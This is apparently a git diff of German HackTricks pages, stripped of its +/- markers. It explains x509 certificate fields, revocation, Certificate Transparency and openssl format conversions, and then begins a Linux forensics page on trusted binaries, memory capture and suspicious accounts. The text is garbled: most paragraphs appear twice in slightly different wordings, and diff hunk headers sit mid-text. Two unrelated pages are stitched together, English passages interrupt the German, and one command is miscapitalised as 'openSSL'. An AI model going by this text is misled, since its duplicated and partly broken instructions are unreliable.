<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Was ist ein Zertifikat
Ein **öffentlicher Schlüsselzertifikat** ist eine digitale ID, die in der Kryptographie verwendet wird, um nachzuweisen, dass jemand im Besitz eines öffentlichen Schlüssels ist. Es enthält die Details des Schlüssels, die Identität des Eigentümers (das Subjekt) und eine digitale Signatur einer vertrauenswürdigen Behörde (der Aussteller). Wenn die Software dem Aussteller vertraut und die Signatur gültig ist, ist eine sichere Kommunikation mit dem Eigentümer des Schlüssels möglich.
Ein **öffentlicher Schlüsselzertifikat** ist eine digitale ID, die in der Kryptographie verwendet wird, um zu beweisen, dass jemand im Besitz eines öffentlichen Schlüssels ist. Es enthält die Details des Schlüssels, die Identität des Besitzers (das Subjekt) und eine digitale Signatur von einer vertrauenswürdigen Behörde (dem Aussteller). Wenn die Software dem Aussteller vertraut und die Signatur gültig ist, ist eine sichere Kommunikation mit dem Besitzer des Schlüssels möglich.
Zertifikate werden hauptsächlich von [Zertifizierungsstellen](https://de.wikipedia.org/wiki/Zertifizierungsstelle) (CAs) in einer [Public-Key-Infrastruktur](https://de.wikipedia.org/wiki/Public-Key-Infrastruktur) (PKI) erstellt. Eine andere Methode ist das [Web of Trust](https://de.wikipedia.org/wiki/Web_of_Trust), bei dem Benutzer die Schlüssel direkt überprüfen. Das gängige Format für Zertifikate ist [X.509](https://de.wikipedia.org/wiki/X.509), das gemäß RFC 5280 an spezifische Anforderungen angepasst werden kann.
Zertifikate werden hauptsächlich von [Zertifizierungsstellen](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) in einer [Public-Key-Infrastruktur](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI)-Konfiguration ausgestellt. Eine andere Methode ist das [Vertrauensnetzwerk](https://en.wikipedia.org/wiki/Web\_of\_trust), bei dem Benutzer die Schlüssel direkt überprüfen. Das gängige Format für Zertifikate ist [X.509](https://en.wikipedia.org/wiki/X.509), das gemäß RFC 5280 für spezifische Anforderungen angepasst werden kann.
## x509 Gemeinsame Felder
### Gemeinsame Felder in x509-Zertifikaten
### **Gemeinsame Felder in x509-Zertifikaten**
In x509-Zertifikaten spielen mehrere **Felder** eine wichtige Rolle für die Gültigkeit und Sicherheit des Zertifikats. Hier ist eine Aufschlüsselung dieser Felder:
In x509-Zertifikaten spielen mehrere **Felder** eine entscheidende Rolle, um die Gültigkeit und Sicherheit des Zertifikats sicherzustellen. Hier ist eine Aufschlüsselung dieser Felder:
- Die **Versionsnummer** gibt die Version des x509-Formats an.
- Die **Seriennummer** identifiziert das Zertifikat eindeutig innerhalb des Systems einer Zertifizierungsstelle (CA), hauptsächlich zur Nachverfolgung von Widerrufungen.
- Das **Subjekt**-Feld repräsentiert den Eigentümer des Zertifikats, der eine Maschine, eine Person oder eine Organisation sein kann. Es enthält detaillierte Identifikationen wie:
- **Common Name (CN)**: Domänen, die vom Zertifikat abgedeckt sind.
- **Land (C)**, **Ort (L)**, **Bundesland oder Provinz (ST, S oder P)**, **Organisation (O)** und **Organisationseinheit (OU)** geben geografische und organisatorische Details an.
- **Distinguished Name (DN)** umfasst die vollständige Identifikation des Subjekts.
- **Aussteller** gibt an, wer das Zertifikat überprüft und signiert hat, einschließlich ähnlicher Unterfelder wie beim Subjekt für die CA.
- Der **Gültigkeitszeitraum** wird durch die Zeitstempel **Not Before** und **Not After** markiert und stellt sicher, dass das Zertifikat nicht vor oder nach einem bestimmten Datum verwendet wird.
- Der Abschnitt **Öffentlicher Schlüssel**, der für die Sicherheit des Zertifikats entscheidend ist, gibt die Algorithmus, Größe und andere technische Details des öffentlichen Schlüssels an.
- **x509v3-Erweiterungen** verbessern die Funktionalität des Zertifikats und geben Eigenschaften wie **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** und andere an, um das Zertifikat anwendungsspezifisch anzupassen.
* Die **Versionsnummer** kennzeichnet die Version des x509-Formats.
* Die **Seriennummer** identifiziert eindeutig das Zertifikat innerhalb des Systems einer Zertifizierungsstelle (CA), hauptsächlich zur Rückverfolgung von Widerrufen.
* Das **Subjekt**-Feld repräsentiert den Besitzer des Zertifikats, der eine Maschine, eine Person oder eine Organisation sein kann. Es enthält detaillierte Identifikationen wie:
* **Common Name (CN)**: Domänen, die vom Zertifikat abgedeckt sind.
* **Land (C)**, **Ort (L)**, **Bundesland oder Provinz (ST, S oder P)**, **Organisation (O)** und **Organisationseinheit (OU)** bieten geografische und organisatorische Details.
* Der **Distinguished Name (DN)** umfasst die vollständige Subjektidentifikation.
* Der **Aussteller** gibt an, wer das Zertifikat überprüft und signiert hat, einschließlich ähnlicher Unterfelder wie das Subjekt für die CA.
* Der **Gültigkeitszeitraum** wird durch Zeitstempel **Not Before** und **Not After** markiert, um sicherzustellen, dass das Zertifikat nicht vor oder nach einem bestimmten Datum verwendet wird.
* Der Abschnitt **Öffentlicher Schlüssel**, der für die Sicherheit des Zertifikats entscheidend ist, gibt Algorithmus, Größe und andere technische Details des öffentlichen Schlüssels an.
* **x509v3-Erweiterungen** verbessern die Funktionalität des Zertifikats und geben **Schlüsselverwendung**, **Erweiterte Schlüsselverwendung**, **Alternativer Subjektname** und andere Eigenschaften an, um die Anwendung des Zertifikats zu optimieren.
#### **Key Usage und Erweiterungen**
#### **Schlüsselverwendung und Erweiterungen**
- **Key Usage** identifiziert kryptografische Anwendungen des öffentlichen Schlüssels, wie digitale Signatur oder Schlüsselverschlüsselung.
- **Extended Key Usage** schränkt die Anwendungsfälle des Zertifikats weiter ein, z. B. für die TLS-Serverauthentifizierung.
- **Subject Alternative Name** und **Basic Constraint** definieren zusätzliche Hostnamen, die vom Zertifikat abgedeckt sind, und ob es sich um ein CA- oder Endbenutzerzertifikat handelt.
- Bezeichner wie **Subject Key Identifier** und **Authority Key Identifier** gewährleisten Eindeutigkeit und Rückverfolgbarkeit von Schlüsseln.
- **Authority Information Access** und **CRL Distribution Points** bieten Pfade zur Überprüfung der ausstellenden CA und zur Überprüfung des Widerrufsstatus des Zertifikats.
- **CT Precertificate SCTs** bieten Transparenzprotokolle, die für das öffentliche Vertrauen in das Zertifikat entscheidend sind.
* **Schlüsselverwendung** identifiziert kryptografische Anwendungen des öffentlichen Schlüssels, wie digitale Signatur oder Schlüsselverschlüsselung.
* **Erweiterte Schlüsselverwendung** grenzt die Anwendungsfälle des Zertifikats weiter ein, z. B. für die TLS-Serverauthentifizierung.
* **Alternativer Subjektname** und **Grundlegende Einschränkung** definieren zusätzliche Hostnamen, die vom Zertifikat abgedeckt sind, und ob es sich um ein CA- oder Endgerätezertifikat handelt.
* Bezeichner wie **Subjektschlüsselkennung** und **Ausstellungsschlüsselkennung** gewährleisten Eindeutigkeit und Rückverfolgbarkeit von Schlüsseln.
* **Behördeninformationszugriff** und **CRL-Verteilungspunkte** bieten Wege zur Überprüfung der ausstellenden CA und zur Überprüfung des Widerrufsstatus des Zertifikats.
* **CT-Vor-Zertifikat-SCTs** bieten Transparenzprotokolle, die für das öffentliche Vertrauen in das Zertifikat entscheidend sind.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -75,185 +76,122 @@ print(f"Public Key: {public_key}")
```
### **Unterschied zwischen OCSP und CRL-Verteilungspunkten**
**OCSP** (**RFC 2560**) beinhaltet eine Zusammenarbeit zwischen einem Client und einem Responder, um zu überprüfen, ob ein digitales öffentliches Schlüsselzertifikat widerrufen wurde, ohne die vollständige **CRL** herunterladen zu müssen. Diese Methode ist effizienter als die traditionelle **CRL**, die eine Liste der widerrufenen Zertifikatsseriennummern bereitstellt, aber das Herunterladen einer potenziell großen Datei erfordert. CRLs können bis zu 512 Einträge enthalten. Weitere Details finden Sie [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) beinhaltet einen Client und einen Responder, die zusammenarbeiten, um zu überprüfen, ob ein digitales öffentliches Schlüsselzertifikat widerrufen wurde, ohne die vollständige **CRL** herunterladen zu müssen. Diese Methode ist effizienter als die traditionelle **CRL**, die eine Liste widerrufener Zertifikats-Seriennummern bereitstellt, aber das Herunterladen einer potenziell großen Datei erfordert. CRLs können bis zu 512 Einträge enthalten. Weitere Details sind [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm) verfügbar.
### **Was ist Certificate Transparency**
### **Was ist Zertifikatstransparenz**
Certificate Transparency hilft, zertifikatsbezogene Bedrohungen zu bekämpfen, indem es sicherstellt, dass die Ausstellung und Existenz von SSL-Zertifikaten für Domain-Besitzer, CAs und Benutzer sichtbar sind. Die Ziele sind:
Zertifikatstransparenz hilft, zertifikatsbezogene Bedrohungen zu bekämpfen, indem die Ausstellung und Existenz von SSL-Zertifikaten für Domain-Besitzer, CAs und Benutzer sichtbar gemacht werden. Ihre Ziele sind:
* Verhindern, dass CAs SSL-Zertifikate für eine Domain ohne das Wissen des Domain-Besitzers ausstellen.
* Einrichtung eines offenen Prüfsystems zur Verfolgung von irrtümlich oder bösartig ausgestellten Zertifikaten.
* Verhindern, dass CAs SSL-Zertifikate für eine Domain ohne Wissen des Domain-Besitzers ausstellen.
* Ein offenes Prüfsystem zur Verfolgung irrtümlich oder bösartig ausgestellter Zertifikate etablieren.
* Benutzer vor betrügerischen Zertifikaten schützen.
#### **Zertifikatsprotokolle**
#### **Zertifikat-Logs**
Zertifikatsprotokolle sind öffentlich überprüfbare, nur anhängbare Aufzeichnungen von Zertifikaten, die von Netzwerkdiensten verwaltet werden. Diese Protokolle bieten kryptografische Nachweise für Prüfungszwecke. Sowohl Ausgabestellen als auch die Öffentlichkeit können Zertifikate in diese Protokolle einreichen oder sie zur Überprüfung abfragen. Die genaue Anzahl der Protokollserver ist nicht festgelegt, es wird jedoch erwartet, dass sie weltweit weniger als tausend sind. Diese Server können unabhängig von CAs, ISPs oder anderen interessierten Einrichtungen verwaltet werden.
Zertifikat-Logs sind öffentlich überprüfbare, nur anhängbare Aufzeichnungen von Zertifikaten, die von Netzwerkdiensten gepflegt werden. Diese Logs bieten kryptografische Beweise für Prüfzwecke. Ausstellungsbehörden und die Öffentlichkeit können Zertifikate in diese Logs einreichen oder sie zur Überprüfung abfragen. Obwohl die genaue Anzahl der Log-Server nicht festgelegt ist, wird erwartet, dass sie weltweit weniger als tausend beträgt. Diese Server können unabhängig von CAs, ISPs oder anderen interessierten Einheiten verwaltet werden.
#### **Abfrage**
Um Certificate Transparency-Protokolle für eine beliebige Domain zu erkunden, besuchen Sie [https://crt.sh/](https://crt.sh).
Um Zertifikatstransparenz-Logs für eine beliebige Domain zu erkunden, besuchen Sie [https://crt.sh/](https://crt.sh).
Es gibt verschiedene Formate zur Speicherung von Zertifikaten, von denen jedes seine eigenen Anwendungsfälle und Kompatibilität hat. Diese Zusammenfassung behandelt die wichtigsten Formate und gibt Anleitungen zur Konvertierung zwischen ihnen.
Es gibt verschiedene Formate zum Speichern von Zertifikaten, die jeweils ihre eigenen Anwendungsfälle und Kompatibilität haben. Diese Zusammenfassung behandelt die Hauptformate und bietet Anleitungen zur Konvertierung zwischen ihnen.
## **Formate**
### **PEM-Format**
- Am häufigsten verwendetes Format für Zertifikate.
- Erfordert separate Dateien für Zertifikate und private Schlüssel, codiert in Base64 ASCII.
- Häufige Erweiterungen: .cer, .crt, .pem, .key.
- Hauptsächlich von Apache und ähnlichen Servern verwendet.
* Am weitesten verbreitetes Format für Zertifikate.
* Erfordert separate Dateien für Zertifikate und private Schlüssel, codiert in Base64 ASCII.
* Übliche Erweiterungen: .cer, .crt, .pem, .key.
* Hauptsächlich von Apache und ähnlichen Servern verwendet.
### **DER-Format**
- Ein binäres Format von Zertifikaten.
- Enthält nicht die "BEGIN/END CERTIFICATE"-Anweisungen, die in PEM-Dateien zu finden sind.
- Häufige Erweiterungen: .cer, .der.
- Wird oft mit Java-Plattformen verwendet.
* Ein binäres Format von Zertifikaten.
* Fehlt die "BEGIN/END CERTIFICATE"-Anweisungen, die in PEM-Dateien zu finden sind.
* Übliche Erweiterungen: .cer, .der.
* Wird häufig mit Java-Plattformen verwendet.
### **P7B/PKCS#7-Format**
- Gespeichert in Base64 ASCII mit den Erweiterungen .p7b oder .p7c.
- Enthält nur Zertifikate und Kettenzertifikate, ohne den privaten Schlüssel.
- Unterstützt von Microsoft Windows und Java Tomcat.
* Gespeichert in Base64 ASCII, mit Erweiterungen .p7b oder .p7c.
* Enthält nur Zertifikate und Zertifikatsketten, ohne den privaten Schlüssel.
* Unterstützt von Microsoft Windows und Java Tomcat.
### **PFX/P12/PKCS#12-Format**
- Ein binäres Format, das Serverzertifikate, Zwischenzertifikate und private Schlüssel in einer Datei zusammenfasst.
- Erweiterungen: .pfx, .p12.
- Hauptsächlich auf Windows für den Import und Export von Zertifikaten verwendet.
* Ein binäres Format, das Serverzertifikate, Zwischenzertifikate und private Schlüssel in einer Datei kapselt.
* Erweiterungen: .pfx, .p12.
* Hauptsächlich auf Windows für den Import und Export von Zertifikaten verwendet.
### **Konvertierung von Formaten**
**PEM-Konvertierungen** sind für die Kompatibilität unerlässlich:
- **x509 zu PEM**
* **x509 zu PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM zu DER**
To convert a PEM (Privacy-Enhanced Mail) certificate file to DER (Distinguished Encoding Rules) format, you can use the OpenSSL command-line tool.
```plaintext
openssl x509 -outform der -in certificate.pem -out certificate.der
```
This command will take the input file `certificate.pem` in PEM format and convert it to DER format, saving the output as `certificate.der`.
* **PEM zu DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER zu PEM**
Um ein Zertifikat im DER-Format in das PEM-Format zu konvertieren, können Sie den folgenden Befehl verwenden:
```bash
openssl x509 -inform der -in certificate.der -out certificate.pem
```
Ersetzen Sie `certificate.der` durch den Pfad zu Ihrer DER-Datei und `certificate.pem` durch den gewünschten Namen für die PEM-Datei.
* **DER zu PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM zu P7B**
To convert a PEM certificate file to P7B format, you can use the OpenSSL command-line tool. The P7B format is commonly used for certificate chain files.
Here is the command to convert a PEM file to P7B:
```plaintext
openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b
```
Replace `certificate.pem` with the path to your PEM file, and `certificate.p7b` with the desired output file name.
This command will create a P7B file containing the certificate(s) from the PEM file. The `-nocrl` option is used to exclude any Certificate Revocation Lists (CRLs) from the output.
After running the command, you will have the converted P7B file ready for use.
* **PEM zu P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 zu PEM**
To convert a PKCS7 certificate to PEM format, you can use the following OpenSSL command:
```plaintext
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.pem
```
This command will extract the certificates from the PKCS7 file and save them in PEM format in the specified output file.
Make sure you have OpenSSL installed on your system before running this command.
* **PKCS7 zu PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX-Konvertierungen** sind entscheidend für das Verwalten von Zertifikaten unter Windows:
- **PFX zu PEM**
* **PFX zu PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX zu PKCS#8** umwandeln erfordert zwei Schritte:
1. PFX in PEM umwandeln
* **PFX zu PKCS#8** beinhaltet zwei Schritte:
1. Konvertiere PFX zu PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. PEM in PKCS8 umwandeln
Manchmal müssen Sie möglicherweise ein Zertifikat im PEM-Format in das PKCS8-Format konvertieren. Dies kann nützlich sein, wenn Sie das Zertifikat in einer bestimmten Anwendung verwenden möchten, die nur das PKCS8-Format akzeptiert.
Um ein PEM-Zertifikat in das PKCS8-Format umzuwandeln, können Sie das OpenSSL-Tool verwenden. Verwenden Sie den folgenden Befehl:
```plaintext
openssl pkcs8 -topk8 -inform PEM -outform DER -in certificate.pem -out privatekey.pk8
```
Ersetzen Sie "certificate.pem" durch den Dateinamen des PEM-Zertifikats, das Sie konvertieren möchten, und "privatekey.pk8" durch den gewünschten Dateinamen für das PKCS8-Zertifikat.
Nachdem Sie den Befehl ausgeführt haben, wird das PEM-Zertifikat in das PKCS8-Format konvertiert und in der angegebenen Datei gespeichert. Sie können dann das PKCS8-Zertifikat in Ihrer Anwendung verwenden.
2. Konvertiere PEM zu PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B zu PFX** erfordert ebenfalls zwei Befehle:
* **P7B zu PFX** erfordert auch zwei Befehle:
1. Konvertiere P7B zu CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Konvertieren Sie CER und privaten Schlüssel in PFX
Manchmal müssen Sie möglicherweise ein Zertifikat im CER-Format und den dazugehörigen privaten Schlüssel in das PFX-Format konvertieren. Dies kann nützlich sein, wenn Sie das Zertifikat auf einem anderen System verwenden möchten, das das PFX-Format erfordert.
Um CER und privaten Schlüssel in PFX zu konvertieren, können Sie die OpenSSL-Befehlszeilentools verwenden. Stellen Sie sicher, dass Sie OpenSSL auf Ihrem System installiert haben, bevor Sie fortfahren.
Führen Sie den folgenden Befehl aus, um die Konvertierung durchzuführen:
```plaintext
openssl pkcs12 -export -out certificate.pfx -inkey privatekey.key -in certificate.cer
```
Ersetzen Sie `privatekey.key` durch den Pfad zu Ihrem privaten Schlüssel und `certificate.cer` durch den Pfad zu Ihrem Zertifikat im CER-Format. Der Befehl erstellt eine neue Datei mit dem Namen `certificate.pfx`, die das konvertierte Zertifikat und den privaten Schlüssel enthält.
Sie werden aufgefordert, ein Kennwort für die PFX-Datei einzugeben. Geben Sie ein sicheres Kennwort ein und merken Sie es sich gut, da es zum Importieren des PFX-Zertifikats verwendet wird.
Nachdem der Befehl erfolgreich ausgeführt wurde, haben Sie eine PFX-Datei erstellt, die das Zertifikat und den privaten Schlüssel enthält. Sie können diese Datei nun auf anderen Systemen verwenden, die das PFX-Format unterstützen.
2. Konvertiere CER und privaten Schlüssel in PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

View file

@ -1,23 +1,24 @@
# Linux-Forensik
# Linux Forensik
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um einfach **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute noch Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden.
</details>
@ -25,7 +26,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
### Grundlegende Informationen
Zunächst wird empfohlen, einen **USB-Stick** mit **bekannten guten Binärdateien und Bibliotheken** zu haben (Sie können einfach Ubuntu nehmen und die Ordner _/bin_, _/sbin_, _/lib_ und _/lib64_ kopieren), dann den USB-Stick mounten und die Umgebungsvariablen ändern, um diese Binärdateien zu verwenden:
Zunächst wird empfohlen, einen **USB-Stick mit bekannten guten Binärdateien und Bibliotheken** darauf zu haben (Sie können einfach Ubuntu nehmen und die Ordner _/bin_, _/sbin_, _/lib_ und _/lib64_ kopieren), dann den USB-Stick mounten und die Umgebungsvariablen ändern, um diese Binärdateien zu verwenden:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -50,23 +51,23 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Verdächtige Informationen
Bei der Beschaffung grundlegender Informationen sollten Sie nach seltsamen Dingen wie folgt suchen:
Beim Abrufen der grundlegenden Informationen sollten Sie nach seltsamen Dingen wie folgt überprüfen:
* **Root-Prozesse** laufen normalerweise mit niedrigen PIDs. Wenn Sie also einen Root-Prozess mit einer großen PID finden, können Sie Verdacht schöpfen.
* Überprüfen Sie **registrierte Anmeldungen** von Benutzern ohne Shell in `/etc/passwd`.
* Überprüfen Sie nach **Passwort-Hashes** von Benutzern ohne Shell in `/etc/shadow`.
- **Root-Prozesse** laufen normalerweise mit niedrigen PIDs, daher sollten Sie misstrauisch sein, wenn Sie einen Root-Prozess mit einer hohen PID finden.
- Überprüfen Sie die **registrierten Anmeldungen** von Benutzern ohne Shell in `/etc/passwd`.
- Überprüfen Sie die **Passwort-Hashes** in `/etc/shadow` für Benutzer ohne Shell.
### Speicherabbild
Um den Speicher des laufenden Systems zu erhalten, wird empfohlen, [**LiME**](https://github.com/504ensicsLabs/LiME) zu verwenden.\
Um es **zu kompilieren**, müssen Sie den **gleichen Kernel** verwenden, den die Opfermaschine verwendet.
Um es zu **kompilieren**, müssen Sie den **gleichen Kernel** verwenden, den die Opfermaschine verwendet.
{% hint style="info" %}
Denken Sie daran, dass Sie **LiME oder irgendetwas anderes** nicht in der Opfermaschine installieren können, da dies mehrere Änderungen daran vornehmen würde.
Denken Sie daran, dass Sie **LiME oder irgendetwas anderes** nicht in die Opfermaschine installieren können, da dies mehrere Änderungen daran vornehmen würde.
{% endhint %}
Wenn Sie also eine identische Version von Ubuntu haben, können Sie `apt-get install lime-forensics-dkms` verwenden.\
In anderen Fällen müssen Sie [**LiME**](https://github.com/504ensicsLabs/LiME) von GitHub herunterladen und mit den richtigen Kernel-Headern kompilieren. Um die genauen Kernel-Header der Opfermaschine zu erhalten, können Sie einfach das Verzeichnis `/lib/modules/<Kernel-Version>` auf Ihren Computer kopieren und dann LiME damit kompilieren:
